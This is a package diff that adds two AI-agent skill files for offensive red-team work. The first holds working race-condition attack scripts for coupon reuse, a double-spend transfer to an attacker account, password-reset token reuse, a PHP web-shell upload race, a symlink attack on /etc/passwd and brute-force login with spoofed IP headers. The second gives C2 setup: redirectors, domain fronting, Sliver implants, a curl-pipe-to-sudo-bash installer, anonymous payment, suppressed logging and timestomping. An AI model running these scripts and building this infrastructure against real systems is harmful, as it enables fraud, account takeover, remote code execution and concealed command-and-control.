rtexit-method 0.1.5 → 0.1.7

package/packaged-assets/.agents/skills/rt-race-conditions/SKILL.md

@@ -0,0 +1,357 @@
+---
+name: rt-race-conditions
+description: "Race condition and concurrency attack skill for authorized engagements. TOCTOU (Time-of-Check-Time-of-Use) exploitation, HTTP/2 single-packet race attacks, API rate limit and balance bypass, coupon/voucher reuse via parallel requests, account takeover via concurrent password reset, file upload race conditions, Burp Suite Turbo Intruder for single-packet attacks, and limit-one bypass techniques. Use when testing web applications, APIs, or any system with concurrent request handling."
+---
+
+# rt-race-conditions — Race Conditions & Concurrency Attacks
+
+## Overview
+
+Race conditions occur when application behavior depends on the timing of concurrent operations. A window of time between a check and its corresponding action (TOCTOU) allows attackers to exploit the gap. Modern HTTP/2 makes these attacks more reliable by sending multiple requests in a single TCP packet — eliminating network jitter.
+
+**High-value targets:**
+- Financial transactions (double-spend, balance manipulation)
+- Coupon/promo code systems (use once → use many times)
+- Account limits (free tier bypass, rate limit evasion)
+- Password reset / email verification flows
+- File operations (symlink attacks, upload processing)
+
+---
+
+## Phase 1 — Identify Race Condition Candidates
+
+```bash
+# Patterns that suggest race condition vulnerabilities:
+
+# 1. "Use once" operations
+# - Promo codes / coupons
+# - Gift card redemption
+# - One-time tokens (password reset, email verify)
+# - Referral bonuses
+
+# 2. Limit-based operations
+# - "Maximum 1 per account"
+# - Rate-limited API calls
+# - Free tier resource limits
+# - Transfer limits
+
+# 3. Check-then-act patterns
+# if balance >= amount: deduct(amount)  ← race window here
+# if coupon_used == false: apply(coupon)  ← race window here
+# if slot_available: reserve(slot)  ← race window here
+
+# 4. File/resource operations
+# Upload → validate → move  ← race in validate step
+# Create temp file → process → delete  ← TOCTOU
+
+# Test tool: Burp Suite Repeater / Turbo Intruder
+# Browser: DevTools Network tab — look for state-changing requests
+```
+
+---
+
+## Phase 2 — HTTP/2 Single-Packet Race Attack
+
+```bash
+# HTTP/2 allows multiple requests in one TCP packet
+# All requests arrive at server simultaneously → eliminates network jitter
+# Makes race window exploitation much more reliable
+
+# Burp Suite — single-packet attack (built-in since v2023.9)
+# 1. Capture the target request in Proxy
+# 2. Send to Repeater
+# 3. Create a group of identical requests (right-click → Add to group)
+# 4. Set connection: Send group in parallel (single-packet attack)
+# 5. Send → all requests hit server simultaneously
+
+# Turbo Intruder (Burp extension) — more control
+# Extensions → BApp Store → Turbo Intruder
+
+# race_single_packet.py (Turbo Intruder script)
+def queueRequests(target, wordlists):
+    engine = RequestEngine(endpoint=target.endpoint,
+                           concurrentConnections=1,
+                           requestsPerConnection=50,  # 50 requests in one packet
+                           pipeline=True)
+    for i in range(50):
+        engine.queue(target.req)
+
+def handleResponse(req, interesting):
+    table.add(req)
+
+# Python requests — parallel race
+import requests, threading, time
+
+url = "https://target.com/api/redeem-coupon"
+headers = {"Cookie": "session=YOUR_SESSION", "Content-Type": "application/json"}
+data = '{"coupon_code": "SAVE50"}'
+
+results = []
+def send_request():
+    r = requests.post(url, headers=headers, data=data)
+    results.append(r.status_code)
+
+# Launch 20 threads simultaneously
+threads = [threading.Thread(target=send_request) for _ in range(20)]
+
+# Synchronize start — all fire at same moment
+barrier = threading.Barrier(20)
+def synchronized_send():
+    barrier.wait()  # Wait for all threads to be ready
+    send_request()
+
+threads = [threading.Thread(target=synchronized_send) for _ in range(20)]
+[t.start() for t in threads]
+[t.join() for t in threads]
+print(f"Results: {results}")
+# Multiple 200 responses = race condition exploited
+```
+
+---
+
+## Phase 3 — Balance / Financial Race Conditions
+
+```bash
+# Double-spend attack: transfer money twice before balance updates
+
+# Scenario: Transfer $100 from account with $100 balance
+# Check: balance >= 100? YES
+# [RACE WINDOW — send second request here]
+# Deduct: balance = 0
+
+# Both requests check balance = 100 → both pass → balance goes negative
+
+python3 << 'EOF'
+import requests, threading
+
+session = requests.Session()
+session.cookies.set("session", "YOUR_SESSION_TOKEN")
+
+url = "https://bank.target.com/api/transfer"
+payload = {"to_account": "ATTACKER_ACCOUNT", "amount": 100}
+
+def transfer():
+    r = session.post(url, json=payload)
+    print(f"Status: {r.status_code} | Response: {r.text[:100]}")
+
+# Synchronize 10 transfer requests
+barrier = threading.Barrier(10)
+def sync_transfer():
+    barrier.wait()
+    transfer()
+
+threads = [threading.Thread(target=sync_transfer) for _ in range(10)]
+[t.start() for t in threads]
+[t.join() for t in threads]
+EOF
+
+# Same technique for:
+# - Withdrawing more than balance
+# - Applying a discount multiple times
+# - Claiming a reward multiple times
+```
+
+---
+
+## Phase 4 — Coupon / Promo Code Bypass
+
+```bash
+# One-use coupon exploited multiple times
+
+# Step 1: Identify the redeem endpoint
+# POST /api/cart/apply-coupon {"code": "SAVE50"}
+
+# Step 2: Add item to cart, don't redeem yet
+# Step 3: Send 20+ parallel redemption requests
+
+python3 << 'EOF'
+import requests, threading
+
+BASE = "https://shop.target.com"
+SESSION = "your_session_cookie"
+
+def apply_coupon():
+    r = requests.post(f"{BASE}/api/cart/apply-coupon",
+                      json={"code": "SAVE50"},
+                      cookies={"session": SESSION})
+    print(r.status_code, r.json().get("discount", ""))
+
+# Fire 20 simultaneous requests
+barrier = threading.Barrier(20)
+def go():
+    barrier.wait()
+    apply_coupon()
+
+threads = [threading.Thread(target=go) for _ in range(20)]
+[t.start() for t in threads]
+[t.join() for t in threads]
+
+# Check cart total — likely applied multiple times
+r = requests.get(f"{BASE}/api/cart", cookies={"session": SESSION})
+print("Cart total:", r.json().get("total"))
+EOF
+```
+
+---
+
+## Phase 5 — Account Takeover via Concurrent Password Reset
+
+```bash
+# Some apps generate short/predictable tokens
+# Race: request multiple resets → multiple valid tokens → brute force shorter
+
+# More common: email-based OTP reuse
+# Reset token sent → token valid for 10 min → can be reused multiple times
+# (No invalidation on first use = not a race, just a bug)
+
+# Actual race: some apps invalidate token only AFTER successful reset
+# Two simultaneous reset requests with same token:
+# Request 1: validate(token) → valid → reset password → invalidate(token)
+# Request 2: validate(token) → valid (check happened before invalidation)
+# Both succeed → control account
+
+python3 << 'EOF'
+import requests, threading
+
+token = "RESET_TOKEN_FROM_EMAIL"
+new_pass_1 = "Attacker1!"
+new_pass_2 = "Attacker2!"
+
+def reset(new_password):
+    r = requests.post("https://target.com/reset-password",
+                      json={"token": token, "password": new_password})
+    print(f"Password {new_password}: {r.status_code} {r.text[:50]}")
+
+barrier = threading.Barrier(2)
+t1 = threading.Thread(target=lambda: [barrier.wait(), reset(new_pass_1)])
+t2 = threading.Thread(target=lambda: [barrier.wait(), reset(new_pass_2)])
+t1.start(); t2.start()
+t1.join(); t2.join()
+# If both 200 → token used twice → race confirmed
+EOF
+```
+
+---
+
+## Phase 6 — File Upload Race Conditions
+
+```bash
+# Upload → validate → move to final location
+# Race window: between upload and validation
+# If validation only checks file after move → bypass possible
+
+# Scenario: app uploads file, validates it's an image, then serves it
+# Race: upload PHP shell → immediately request it before validation deletes it
+
+python3 << 'EOF'
+import requests, threading, time
+
+url_upload = "https://target.com/upload"
+url_exec   = "https://target.com/uploads/shell.php?cmd=id"
+session_cookie = {"session": "YOUR_SESSION"}
+
+shell_content = b"<?php system($_GET['cmd']); ?>"
+
+def upload():
+    files = {"file": ("shell.php", shell_content, "image/jpeg")}
+    return requests.post(url_upload, files=files, cookies=session_cookie)
+
+def execute():
+    for _ in range(100):  # Keep trying during race window
+        r = requests.get(url_exec, cookies=session_cookie)
+        if "uid=" in r.text:
+            print("RCE:", r.text[:100])
+            return
+        time.sleep(0.01)
+
+# Upload and immediately try to execute in parallel
+t_upload = threading.Thread(target=upload)
+t_exec   = threading.Thread(target=execute)
+t_exec.start()   # Start execution attempts first
+t_upload.start() # Then upload
+t_upload.join(); t_exec.join()
+EOF
+```
+
+---
+
+## Phase 7 — TOCTOU in File System
+
+```bash
+# Time-of-Check-Time-of-Use on filesystem
+# Scenario: app checks if path is safe, then opens it
+# Race: replace safe path with symlink to /etc/passwd between check and open
+
+# Classic symlink attack
+mkdir /tmp/race
+ln -s /etc/passwd /tmp/race/target  # Create symlink
+
+# If app does:
+# if os.path.isfile("/tmp/user_upload"):  ← CHECK
+#     process("/tmp/user_upload")          ← USE (could be symlink now)
+
+# Race script
+while true; do
+    rm -f /tmp/user_upload
+    cp benign_file.txt /tmp/user_upload    # Safe file (passes check)
+    rm -f /tmp/user_upload
+    ln -s /etc/passwd /tmp/user_upload     # Symlink (used in action)
+done &
+
+# Trigger the vulnerable app operation repeatedly
+# If successful → app reads /etc/passwd instead of user file
+```
+
+---
+
+## Phase 8 — Rate Limit Bypass
+
+```bash
+# Rate limits often implemented per-IP or per-session
+# Race can send burst before counter increments
+
+# Identify rate-limited endpoint
+# POST /api/login → 5 attempts/min → locked
+
+# Bypass: send all attempts simultaneously before counter processes them
+python3 << 'EOF'
+import requests, threading
+
+passwords = ["Summer2024!", "Password1!", "Welcome1!", "Admin123!", 
+             "Company2024!", "Spring2024!", "Winter2024!", "Fall2024!"]
+
+def try_password(p):
+    r = requests.post("https://target.com/login",
+                      json={"username": "admin", "password": p},
+                      headers={"X-Forwarded-For": f"1.2.3.{hash(p) % 255}"})
+    if "invalid" not in r.text.lower():
+        print(f"SUCCESS: {p}")
+
+barrier = threading.Barrier(len(passwords))
+threads = [threading.Thread(target=lambda p=p: [barrier.wait(), try_password(p)])
+           for p in passwords]
+[t.start() for t in threads]
+[t.join() for t in threads]
+EOF
+```
+
+---
+
+## Skill Levels
+
+**BEGINNER:** Burp Repeater parallel group → coupon/promo bypass → observe multiple success responses
+
+**INTERMEDIATE:** Turbo Intruder single-packet attack → balance manipulation → password reset token reuse
+
+**ADVANCED:** File upload race → TOCTOU symlink → rate limit burst bypass with IP rotation
+
+**EXPERT:** Custom HTTP/2 single-packet tooling → distributed race across multiple sessions → chaining with other vulns
+
+---
+
+## References
+
+- PortSwigger Race Conditions: https://portswigger.net/web-security/race-conditions
+- Turbo Intruder: https://github.com/PortSwigger/turbo-intruder
+- HTTP/2 Single Packet Attack paper: https://portswigger.net/research/smashing-the-state-machine
+- MITRE T1499.004: https://attack.mitre.org/techniques/T1499/004/

package/packaged-assets/.agents/skills/rt-redteam-infra/SKILL.md

@@ -0,0 +1,333 @@
+---
+name: rt-redteam-infra
+description: "Red team infrastructure setup and operational security skill. C2 server hardening, Apache/Nginx redirectors, domain fronting via CDN (Cloudflare, Azure CDN), malleable C2 profiles for Sliver/Cobalt Strike, categorized domain acquisition, SSL certificates for C2, team server setup, redirector chaining, and operator OPSEC. Use at the start of every engagement to build resilient, attribution-resistant infrastructure."
+---
+
+# rt-redteam-infra — Red Team Infrastructure & OpSec
+
+## Overview
+
+Professional red team infrastructure separates the operator from the target. If blue team blocks your C2 IP, redirectors absorb the hit while the team server stays hidden. Domain fronting makes C2 traffic look like legitimate CDN traffic. Good infrastructure = longer dwell time, realistic APT simulation.
+
+**Infrastructure layers:**
+```
+Operator → Team Server (hidden) → Redirector(s) → Target
+                                ↕
+                          CDN / Domain Front
+```
+
+---
+
+## Phase 1 — Domain Acquisition & Categorization
+
+```bash
+# Buy domains that look legitimate and are pre-categorized
+# Categorized domains bypass web proxies that block "Uncategorized" traffic
+
+# Check domain categorization
+curl "https://sitereview.bluecoat.com/v/sitereview.jsp?url=TARGET_DOMAIN"
+# Or: Fortinet, McAfee, Palo Alto URL categorization checkers
+
+# Good categories for C2: Technology, Business, CDN, Cloud Services
+# Bad categories: Newly Registered, Malware, Suspicious
+
+# Aged domains (registered 1+ years ago) = more trusted
+# Tool: expireddomains.net — find expired domains with good reputation
+
+# Domain naming patterns for believability:
+# cdn-assets-[company].com
+# updates-[software].com
+# telemetry-[product].net
+# api-gateway-[company].io
+# [company]-cloud-services.com
+
+# Check domain history before buying
+curl "https://web.archive.org/web/*/DOMAIN"
+# Avoid: domains previously used for spam/malware
+```
+
+---
+
+## Phase 2 — VPS / Cloud Infrastructure Setup
+
+```bash
+# Use separate providers for team server and redirectors
+# Team server: Hetzner, OVH, DigitalOcean (EU providers harder to subpoena quickly)
+# Redirectors: AWS, Azure, GCP (looks like legitimate cloud traffic)
+
+# NEVER use your real identity for red team infra
+# Pay with crypto or gift cards for anonymity in authorized tests
+
+# Basic VPS hardening (team server)
+# Change SSH port
+sed -i 's/#Port 22/Port 2222/' /etc/ssh/sshd_config
+systemctl restart sshd
+
+# Restrict access to team only
+ufw default deny incoming
+ufw allow from OPERATOR_IP to any port 2222  # SSH — operators only
+ufw allow from REDIRECTOR_IP to any port 50050  # Cobalt Strike / Sliver
+ufw allow 80,443/tcp  # For letsencrypt
+ufw enable
+
+# No logging of operator IPs
+sed -i 's/^LogLevel.*/LogLevel QUIET/' /etc/ssh/sshd_config
+
+# Firewall: only redirectors can reach team server
+# Targets should NEVER see team server IP directly
+iptables -A INPUT -s REDIRECTOR_IP -p tcp --dport 50050 -j ACCEPT
+iptables -A INPUT -p tcp --dport 50050 -j DROP
+```
+
+---
+
+## Phase 3 — Apache/Nginx Redirector Setup
+
+```bash
+# Redirector sits between target and team server
+# Blue team sees redirector IP — team server IP stays hidden
+# Redirector checks URI/headers → forwards legit C2 traffic → blocks scanners/defenders
+
+# Install Apache
+apt install apache2 -y
+a2enmod proxy proxy_http rewrite ssl headers
+
+# /etc/apache2/sites-available/redirector.conf
+cat > /etc/apache2/sites-available/redirector.conf << 'EOF'
+<VirtualHost *:443>
+    ServerName cdn-assets-corp.com
+    SSLEngine on
+    SSLCertificateFile    /etc/letsencrypt/live/cdn-assets-corp.com/fullchain.pem
+    SSLCertificateKeyFile /etc/letsencrypt/live/cdn-assets-corp.com/privkey.pem
+
+    # Only forward requests matching C2 URI pattern
+    # Everything else → redirect to innocent site (avoids detection)
+    RewriteEngine On
+    RewriteCond %{REQUEST_URI} ^/updates/client/[a-f0-9]{32}$  [NC]
+    RewriteRule ^(.*)$ https://TEAM_SERVER_IP:443$1 [P,L]
+
+    # All other traffic → redirect to Microsoft (looks like CDN)
+    RewriteRule ^(.*)$ https://www.microsoft.com/ [R=302,L]
+
+    # Block scanners
+    RewriteCond %{HTTP_USER_AGENT} (curl|python|nmap|masscan|zgrab) [NC]
+    RewriteRule .* - [F]
+
+    ProxyPassReverse / https://TEAM_SERVER_IP:443/
+    SSLProxyEngine On
+    SSLProxyVerify none
+</VirtualHost>
+EOF
+
+a2ensite redirector.conf && systemctl reload apache2
+
+# Get SSL cert (Let's Encrypt)
+certbot --apache -d cdn-assets-corp.com
+```
+
+---
+
+## Phase 4 — Domain Fronting via CDN
+
+```bash
+# Domain fronting: use CDN to hide true destination
+# HTTP Host header = your C2 domain
+# SNI/TLS = legitimate CDN domain (e.g., allowed-corp.cloudfront.net)
+# CDN routes based on Host header → reaches your C2
+
+# Cloudflare Workers domain fronting
+# 1. Put your C2 domain behind Cloudflare (DNS proxied)
+# 2. Configure Worker to route to team server
+# worker.js:
+cat > worker.js << 'EOF'
+addEventListener('fetch', event => {
+  event.respondWith(handleRequest(event.request))
+})
+async function handleRequest(request) {
+  const url = new URL(request.url)
+  // Forward to team server
+  const newUrl = `https://TEAM_SERVER_IP${url.pathname}${url.search}`
+  return fetch(newUrl, {
+    method: request.method,
+    headers: request.headers,
+    body: request.body
+  })
+}
+EOF
+# Deploy via wrangler CLI
+
+# Azure CDN fronting
+# Create Azure CDN endpoint → origin = team server
+# Custom domain = your C2 domain
+# Traffic appears to come from *.azureedge.net
+
+# Test domain fronting
+curl -H "Host: YOUR_C2_DOMAIN" https://ALLOWED_CDN_DOMAIN/c2-check
+```
+
+---
+
+## Phase 5 — Sliver C2 with Redirectors
+
+```bash
+# Sliver team server setup (open source C2)
+curl https://sliver.sh/install | sudo bash
+
+# Start Sliver server
+sudo systemctl start sliver
+
+# Connect operator
+sliver-client
+
+# Generate implant pointing to redirector (NOT team server)
+generate --http https://cdn-assets-corp.com --os windows --arch amd64 \
+  --name implant --save /tmp/
+
+# Create HTTP listener on team server
+https -l 443 -d cdn-assets-corp.com
+
+# Multiplayer (team) — add operators
+new-operator --name operator1 --lhost TEAM_SERVER_IP
+# Generates operator1.cfg → share with team member
+
+# Implant traffic flow:
+# Target → https://cdn-assets-corp.com (redirector) → TEAM_SERVER_IP:443 (sliver)
+```
+
+---
+
+## Phase 6 — Malleable C2 Profiles
+
+```bash
+# Malleable profiles customize how C2 traffic looks
+# Goal: make beacon traffic look like legitimate application traffic
+
+# Sliver custom traffic profile (traffic looks like Google Analytics)
+# Edit ~/.sliver/configs/http-c2.yaml
+
+# Custom URI patterns
+uris:
+  - /collect
+  - /analytics.js
+  - /gtag/js
+  - /ga.js
+
+# Custom headers (mimics Google Analytics)
+headers:
+  - "Cache-Control: no-cache"
+  - "Accept: text/html,application/xhtml+xml"
+  - "Accept-Language: en-US,en;q=0.9"
+
+# Cobalt Strike malleable profile example (if available)
+# https://github.com/rsmudge/Malleable-C2-Profiles
+
+# Amazon profile (traffic looks like AWS API calls)
+set useragent "aws-sdk-java/1.12.261";
+http-get {
+    set uri "/v1/metadata/";
+    client { header "x-amz-date" "..."; }
+}
+
+# Test profile detection
+# c2lint profile.profile  # CS built-in validator
+# Or: pipe implant traffic through Wireshark → verify looks like claimed app
+```
+
+---
+
+## Phase 7 — Operator OPSEC
+
+```bash
+# Never connect directly to targets from your real IP
+# Chain: Operator → VPN → Jump box → Target
+
+# VPN for operators
+# WireGuard setup on jump box
+apt install wireguard -y
+wg genkey | tee /etc/wireguard/private.key | wg pubkey > /etc/wireguard/public.key
+
+# /etc/wireguard/wg0.conf (server)
+[Interface]
+Address = 10.8.0.1/24
+ListenPort = 51820
+PrivateKey = SERVER_PRIVATE_KEY
+PostUp = iptables -A FORWARD -i wg0 -j ACCEPT; iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
+PostDown = iptables -D FORWARD -i wg0 -j ACCEPT; iptables -t nat -D POSTROUTING -o eth0 -j MASQUERADE
+
+[Peer]
+# Operator 1
+PublicKey = OPERATOR1_PUBLIC_KEY
+AllowedIPs = 10.8.0.2/32
+
+wg-quick up wg0
+
+# OPSEC checklist per engagement:
+# ✅ All traffic through VPN → jump box → target
+# ✅ No direct connections team server ↔ target
+# ✅ Redirectors in place before first beacon
+# ✅ Domain categorized before use
+# ✅ Unique implant per target (no cross-engagement reuse)
+# ✅ Malleable profile matching engagement's allowed traffic
+# ✅ Timestomp all dropped files
+# ✅ Clear logs after engagement (with client approval)
+# ✅ Screenshot all actions for evidence
+
+# Deconfliction — register your IPs with SOC
+# "Safe listing" — tell blue team your op IPs to avoid friendly fire
+# Deconfliction email: "Our red team IPs: X.X.X.X — please whitelist"
+```
+
+---
+
+## Phase 8 — Infrastructure Teardown
+
+```bash
+# After engagement ends — destroy all infrastructure
+
+# Remove implants
+# In Sliver: session → kill → all
+sessions
+kill --all
+
+# Destroy VPS instances
+# AWS: aws ec2 terminate-instances --instance-ids i-XXXXX
+# DigitalOcean: doctl compute droplet delete DROPLET_ID
+
+# Revoke certificates
+certbot revoke --cert-path /etc/letsencrypt/live/DOMAIN/cert.pem
+
+# Remove DNS records
+# Delete all A records pointing to red team infrastructure
+
+# Burn domains (don't reuse across engagements)
+# Each engagement = fresh domains
+
+# Final checklist:
+# ✅ All beacons killed
+# ✅ Persistence removed from targets
+# ✅ VPS destroyed
+# ✅ Domains released/burned
+# ✅ Operator VPN config revoked
+# ✅ Evidence logs delivered to client
+```
+
+---
+
+## Skill Levels
+
+**BEGINNER:** Single VPS + direct C2 connection (no redirectors) — acceptable for simple engagements
+
+**INTERMEDIATE:** Nginx redirector + categorized domain + Let's Encrypt cert + WireGuard VPN for operators
+
+**ADVANCED:** Apache malleable redirector + domain fronting via CDN + Sliver with custom HTTP profile
+
+**EXPERT:** Multi-hop redirector chains + multiple CDN providers + custom malleable profiles + full deconfliction workflow
+
+---
+
+## References
+
+- Sliver C2: https://github.com/BishopFox/sliver
+- Malleable C2 Profiles: https://github.com/rsmudge/Malleable-C2-Profiles
+- RedTeam Infrastructure Wiki: https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki
+- MITRE ATT&CK T1090: https://attack.mitre.org/techniques/T1090/